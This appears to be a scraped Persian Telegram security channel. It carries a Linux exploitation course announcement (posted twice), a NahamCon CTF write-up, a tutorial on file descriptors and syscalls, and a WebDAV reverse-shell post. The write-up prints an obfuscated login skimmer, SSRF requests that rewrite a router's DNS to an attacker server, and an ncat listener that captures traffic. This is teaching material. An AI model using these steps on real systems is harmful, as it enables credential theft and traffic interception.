Forwarded from OS Internals (Abolfazl Kazemi)
🚀 دورهی Foundations of Linux Reverse Engineering and Exploitation به صورت کامل منتشر شد!
دوستان سلام؛ تمام محتوای دوره شامل اسلایدها، نمونهکدها و مطالب آموزشی، اکنون بهصورت کامل در گیتهاب قرار گرفته است.
این دوره برای آشنایی عمیق با Internal لینوکس، مهندسی معکوس باینریها، آسیبپذیریها و تکنیکهای عملی اکسپلویت طراحی شده است.
📚 در این دوره یاد میگیرید:
- درک ساختار داخلی Linux، حافظه، ELF و system callها
- مهندسی معکوس باینریهای لینوکس با ابزارهای مختلف
- تحلیل آسیبپذیریهای رایج
- نوشتن و تست اکسپلویت
- حل چالشهای واقعی CTF و ساخت Proof of Concept
🔎 سرفصلها شامل:
- Linux Internals Overview
- Exploitation Fundamentals
- Security Mechanisms and Exploitation Tools
- Solving Narnia Challenges
- Basic x64 Exploitation
- ROP Basics
- ELF Details, GOT, PLT
- Advanced ROP
- CVE-2021-4034
💻 مخزن دوره:
https://github.com/akazemi67/Linux-Exploit-Development-Course
اگر به Linux Exploitation، Reverse Engineering، CTF و امنیت سطح پایین علاقه دارید، این دوره میتواند یک مسیر آموزشی کامل و کاربردی برای شما باشد.
نظرات و بازخوردهای شما باعث بهتر شدن ادامهی مسیر خواهد شد 🙌
#linux #exploitdev #ReverseEngineering #Exploitation #CTF #CyberSecurity #Pwntools #ROP #ELF #GDB #Ghidra
دوستان سلام؛ تمام محتوای دوره شامل اسلایدها، نمونهکدها و مطالب آموزشی، اکنون بهصورت کامل در گیتهاب قرار گرفته است.
این دوره برای آشنایی عمیق با Internal لینوکس، مهندسی معکوس باینریها، آسیبپذیریها و تکنیکهای عملی اکسپلویت طراحی شده است.
📚 در این دوره یاد میگیرید:
- درک ساختار داخلی Linux، حافظه، ELF و system callها
- مهندسی معکوس باینریهای لینوکس با ابزارهای مختلف
- تحلیل آسیبپذیریهای رایج
- نوشتن و تست اکسپلویت
- حل چالشهای واقعی CTF و ساخت Proof of Concept
🔎 سرفصلها شامل:
- Linux Internals Overview
- Exploitation Fundamentals
- Security Mechanisms and Exploitation Tools
- Solving Narnia Challenges
- Basic x64 Exploitation
- ROP Basics
- ELF Details, GOT, PLT
- Advanced ROP
- CVE-2021-4034
💻 مخزن دوره:
https://github.com/akazemi67/Linux-Exploit-Development-Course
اگر به Linux Exploitation، Reverse Engineering، CTF و امنیت سطح پایین علاقه دارید، این دوره میتواند یک مسیر آموزشی کامل و کاربردی برای شما باشد.
نظرات و بازخوردهای شما باعث بهتر شدن ادامهی مسیر خواهد شد 🙌
#linux #exploitdev #ReverseEngineering #Exploitation #CTF #CyberSecurity #Pwntools #ROP #ELF #GDB #Ghidra
GitHub
GitHub - akazemi67/Linux-Exploit-Development-Course: This course provides a practical introduction to Linux reverse engineering…
This course provides a practical introduction to Linux reverse engineering and exploitation. You’ll learn how Linux binaries work under the hood, how vulnerabilities arise, and how to discover and ...
❤6
Forwarded from Zinox
❤6
سلاام دوباره آقا امشب اومدیم یه رایتاپ میشه گفت خوب که مربوط به nahamcon هست بزاریم امیدوارم لذت ببرین
توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :
بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:
در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
و ریسپانس 200 دریافت کردیم :
محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :
<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'UA-978312237-6');
</script>
بعد از رفتن به صفحه سورسش یه فایل js داریم که کد زیر داخلشه :
var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';
document.getElementById(bb + ccr + cd).addEventListener("click", function() {
var a_1 = 'htt';
var a_2 = 'ps://';
var a_3 = 'hac';
var a_4 = 'kboo';
var a_5 = 'kag';
var a_6 = 'ram';
var a_7 = '.c';
var a_8 = 'om/';
var a_9 = 'log';
var a_10 = 'in';
var e = new XMLHttpRequest;
e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
e.onload = function() {
var t = JSON.parse(e.responseText);
if (console.log(), 201 == e.status) {
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
document.body.innerHTML = document.body.innerHTML + '';
window.location = t[0];
} else {
alert(t[0]);
}
};
e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
event.stopImmediatePropagation();
});
بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota برای base64 کردن username password استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:
178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"
در اینجا اومدیم و با img tag xss پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js که سورسش رو توی بخش پایین میزارم:
$('.connection-test').click(function() {
$.post('/connection-test', { node: 'us1' }, function(resp) {
$('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
}).fail(function(resp) {
$('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
});
});شمام فکر کنم وقتی مقدار connection و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1
و ریسپانس 200 دریافت کردیم :
<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>
محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
$('.setConnection').click(function() {
var username = $('input[name="i_username"]').val();
var password = $('input[name="i_password"]').val();
$.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
alert(resp);
});
});
$('.setDNS').click(function() {
var server = $('input[name="dns_server"]').val();
$.get('/set/dns?server=' + server, function(resp) {
alert(resp);
});
});توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#
در نتیجه درخواست به سرور ما میومد ولی چون ssl بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157
بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.
https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/
❤10👏1
https://t.me/S3cForge
کانال شخصیه داش امینه تازه زده
هر پستی اونجا گذاشته میشه اینجاهم میزاره
حمایت کنید
کانال شخصیه داش امینه تازه زده
هر پستی اونجا گذاشته میشه اینجاهم میزاره
حمایت کنید
❤8
خب سلام چطورین؟
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک Open Resource در یک فرآیند عمل میکنه و یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD میتونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سختافزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:
خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
اجراش کنین.
امیدوارم لذت برده باشین.
➖➖➖➖
CHANNEL
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک Open Resource در یک فرآیند عمل میکنه و یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD میتونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سختافزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
int main() {
int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
if (fd == -1) {
printf("err: %s\n", strerror(errno));
return 1;
}
printf("success! FD: %d\n", fd);
close(fd);
printf("closed.\n");
return 0;
}
اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:
section .data
msg db 'Hello, World!', 0x0A
len equ $ - msg
section .text
global _start
_start:
; Syscall write
mov rax, 1
mov rdi, 1
mov rsi, msg
mov rdx, len
syscall
mov rax, 60
mov rdi, 0
syscall
خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello
اجراش کنین.
امیدوارم لذت برده باشین.
➖➖➖➖
CHANNEL
Telegram
NSEs
Where Network meets Red Team 🎯
If you're into PenTesting, Hacking, and Cyber Shenanigans — you're home!
🧠 Learn • 🚀 Hack • 🧩 Quiz • 📚 Books • 😁 Memes
If you're into PenTesting, Hacking, and Cyber Shenanigans — you're home!
🧠 Learn • 🚀 Hack • 🧩 Quiz • 📚 Books • 😁 Memes
❤8
سالم دوستان امیدوارم حالتون خوب باشه ، تو این پست قراره به یکی
از تکنیک های حملات سمت کلاینت بپردازیم.
تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با
چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم
امیدوارم که از این پست لذت ببرید .
#Red_Team #Pentest #Network #WebDAV
➖➖➖➖➖
CHANNEL
از تکنیک های حملات سمت کلاینت بپردازیم.
تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با
چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم
امیدوارم که از این پست لذت ببرید .
#Red_Team #Pentest #Network #WebDAV
➖➖➖➖➖
CHANNEL
🔥8❤1
Deleted Account
سالم دوستان امیدوارم حالتون خوب باشه ، تو این پست قراره به یکی از تکنیک های حملات سمت کلاینت بپردازیم. تو این سناریو قراره یکی از قابلیت های قدیمی ویندوز(WebDAV) استفاده کنیم با چند تا چیز کوچیک ترکیبش کنیم تا بتونیم از کاربر دسترسی بگیریم امیدوارم که از…
From_Windows_Library_to_Reverse_Shell_A_WebDAV_Attack_Scenario.pdf
3.9 MB
❤9